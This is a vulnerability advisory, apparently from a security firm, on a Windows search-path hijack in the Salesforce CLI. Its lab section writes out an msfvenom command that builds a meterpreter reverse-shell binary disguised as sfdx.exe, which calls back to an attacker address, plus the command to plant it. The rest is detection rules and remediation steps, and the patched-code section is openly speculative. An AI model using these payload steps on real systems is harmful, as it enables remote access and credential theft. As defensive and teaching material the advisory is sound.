CVE-2025-9844

Executive Summary

CVE-2025-9844 is a Uncontrolled Search Path Element vulnerability (CWE-426) affecting the Salesforce CLI on Windows operating systems. This flaw allows an attacker to replace a trusted executable by placing a malicious binary in a directory that appears earlier in the system's search path than the legitimate Salesforce CLI binary. If a user executes the CLI from a context where the search path is not fully controlled, the attacker's malicious executable will be loaded instead of the trusted one, leading to arbitrary code execution with the privileges of the user.

The vulnerability impacts all versions of Salesforce CLI prior to 2.106.6. The CVSS score is currently unassigned (0.0), but the risk is significant due to the potential for privilege escalation and lateral movement within an organization's Windows environment. No public proof-of-concept (PoC) or exploit code has been identified at this time.

Supply Chain & Package Security

Salesforce CLI is distributed as a standalone installer for Windows, macOS, and Linux. This vulnerability is specific to the Windows distribution and arises from how the installer configures the system PATH or how the CLI resolves its dependencies at runtime. An attacker who can write to a directory that is earlier in the PATH (e.g., C:\Users\<user>\AppData\Local\Microsoft\WindowsApps) can plant a malicious sfdx.exe or a DLL that the CLI depends on. This is a classic DLL hijacking / search order hijacking scenario.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (UNKNOWN). Based on the vulnerability characteristics, a reasonable estimated score would be:

• Attack Vector (AV): Local (L) – The attacker must have local access to the system or be able to place a file on the filesystem.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions beyond placing a file in a PATH directory.
• Privileges Required (PR): Low (L) – The attacker needs write access to a directory in the PATH, which is often achievable by a standard user.
• User Interaction (UI): Required (R) – The victim must execute the Salesforce CLI from a context where the malicious binary is found first.
• Scope (S): Unchanged (U) – The attacker cannot escape the security context of the vulnerable component.
• Confidentiality (C): High (H) – The attacker can execute arbitrary code with the victim's privileges.
• Integrity (I): High (H) – The attacker can modify files or data.
• Availability (A): High (H) – The attacker can cause denial of service or system instability.

Estimated CVSS:3.1 Vector: AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Estimated Score: 7.3 (High)

Threat Level: High. While no public exploit exists, the vulnerability is trivial to exploit once an attacker has a foothold on a Windows system.

Deep Dive & Mechanics

The vulnerability is rooted in the Uncontrolled Search Path Element weakness. When Salesforce CLI is executed on Windows, it relies on the system's dynamic-link library (DLL) search order or the PATH environment variable to locate its components. If an attacker can place a malicious executable or DLL in a directory that is searched before the legitimate Salesforce CLI directory, the malicious file will be loaded.

Attack Scenario:

1. An attacker gains initial access to a Windows machine (e.g., via phishing, USB drop, or another vulnerability).
2. The attacker identifies a writable directory that is earlier in the system PATH than the Salesforce CLI installation directory (e.g., C:\Users\<victim>\AppData\Local\Microsoft\WindowsApps).
3. The attacker places a malicious sfdx.exe or a DLL (e.g., version.dll, dbghelp.dll) that the CLI loads at startup.
4. When the victim (or an automated process) runs sfdx from a command prompt or script, the malicious binary is executed instead of the legitimate one.
5. The attacker's code runs with the victim's privileges, allowing data exfiltration, credential theft, or lateral movement.

Root Cause: The Salesforce CLI installer does not enforce a secure search path or use absolute paths for its dependencies. It also does not validate the integrity of the executables it loads.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.106.6): The vulnerable code is not publicly available, but the behavior is as follows:

• The CLI uses relative paths or relies on the system PATH to locate its binaries.
• No digital signature verification is performed on loaded executables.
• The installer adds the Salesforce CLI directory to the PATH but does not ensure it is the first entry.

Patched Code (2.106.6+): The patch likely includes one or more of the following:

• The CLI now uses absolute paths to load its dependencies.
• The installer sets the Salesforce CLI directory as the first entry in the PATH.
• The CLI verifies the digital signature of its binaries before execution.
• The CLI uses a manifest file to specify exact DLL versions and locations.

Example of a secure implementation (pseudo-code):

// Secure: Use absolute path
string cliPath = @"C:\Program Files\Salesforce CLI\bin\sfdx.exe";
Process.Start(cliPath, args);

// Insecure: Relies on PATH
Process.Start("sfdx", args);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Windows 10/11 VM with Salesforce CLI < 2.106.6 installed.
• A writable directory earlier in the PATH (e.g., C:\Users\<user>\AppData\Local\Microsoft\WindowsApps).
• A payload (e.g., a reverse shell executable).

Steps:

1. Identify PATH Order: Run echo %PATH% in a command prompt. Identify directories that are writable and appear before the Salesforce CLI directory (typically C:\Program Files\Salesforce CLI\bin).
2. Create Malicious Binary: Create a malicious sfdx.exe that executes a reverse shell or other payload.
3. Place Malicious Binary: Copy the malicious sfdx.exe to the writable directory identified in step 1.
4. Trigger Execution: Wait for the victim to run sfdx from a command prompt or script. The malicious binary will execute.

Example Payload (using msfvenom):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o sfdx.exe

Execution:

copy sfdx.exe C:\Users\victim\AppData\Local\Microsoft\WindowsApps\
:: Wait for victim to run "sfdx"

Blue Team (Defensive)

Detection:

• Monitor process creation events for sfdx.exe originating from non-standard paths.
• Monitor file creation events in writable PATH directories.
• Use Sysmon to log DLL load events and look for anomalies.

Prevention:

• Ensure the Salesforce CLI directory is the first entry in the PATH.
• Use AppLocker or Windows Defender Application Control (WDAC) to allow only signed binaries.
• Regularly audit writable directories in the PATH.

Hunting:

• Search for sfdx.exe executions where the parent process is unexpected (e.g., cmd.exe from a user's temp directory).
• Look for DLLs loaded by sfdx.exe that are not from the Salesforce CLI installation directory.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_9844_Salesforce_CLI_Hijack {
    meta:
        description = "Detects malicious sfdx.exe placed in a writable PATH directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9844"
    strings:
        $s1 = "sfdx.exe" nocase
        $s2 = "Salesforce CLI" nocase
        $s3 = "C:\\Users\\" nocase
        $s4 = "AppData\\Local\\Microsoft\\WindowsApps" nocase
    condition:
        $s1 and $s2 and $s3 and $s4
}

Sigma Rule

title: Suspicious Salesforce CLI Execution from Non-Standard Path
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e6f8a2d1c4b
status: experimental
description: Detects execution of sfdx.exe from a directory other than the official Salesforce CLI installation path.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9844
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\sfdx.exe'
    filter:
        Image|startswith:
            - 'C:\Program Files\Salesforce CLI\'
            - 'C:\Program Files (x86)\Salesforce CLI\'
    condition: selection and not filter
falsepositives:
    - Custom installations in non-standard directories
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-9844 - Potential Salesforce CLI Hijack - Outbound Connection from Malicious sfdx.exe";
    flow:to_server,established;
    content:"sfdx.exe"; nocase;
    http_user_agent;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Salesforce CLI to version 2.106.6 or later. This is the only definitive fix.
2. Audit PATH Environment Variable: Ensure that the Salesforce CLI installation directory (e.g., C:\Program Files\Salesforce CLI\bin) is the first entry in the system PATH.
3. Remove Writable Directories from PATH: Identify and remove any user-writable directories from the system PATH (e.g., %USERPROFILE%\AppData\Local\Microsoft\WindowsApps).

Long-Term Mitigations:

• Application Control: Use AppLocker or WDAC to allow only signed binaries from trusted paths.
• DLL Hijacking Protection: Enable Safe DLL Search Mode (registry key HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode).
• User Education: Train users not to run CLI tools from untrusted directories or after downloading files from unknown sources.
• Monitor PATH Changes: Use Sysmon or EDR to alert on modifications to the PATH environment variable.

Workaround (if patching is not possible):

• Use absolute paths when invoking sfdx.exe (e.g., "C:\Program Files\Salesforce CLI\bin\sfdx.exe").
• Remove the Salesforce CLI directory from the PATH and only use full paths in scripts.

Valters IT
Securing Digital Frontiers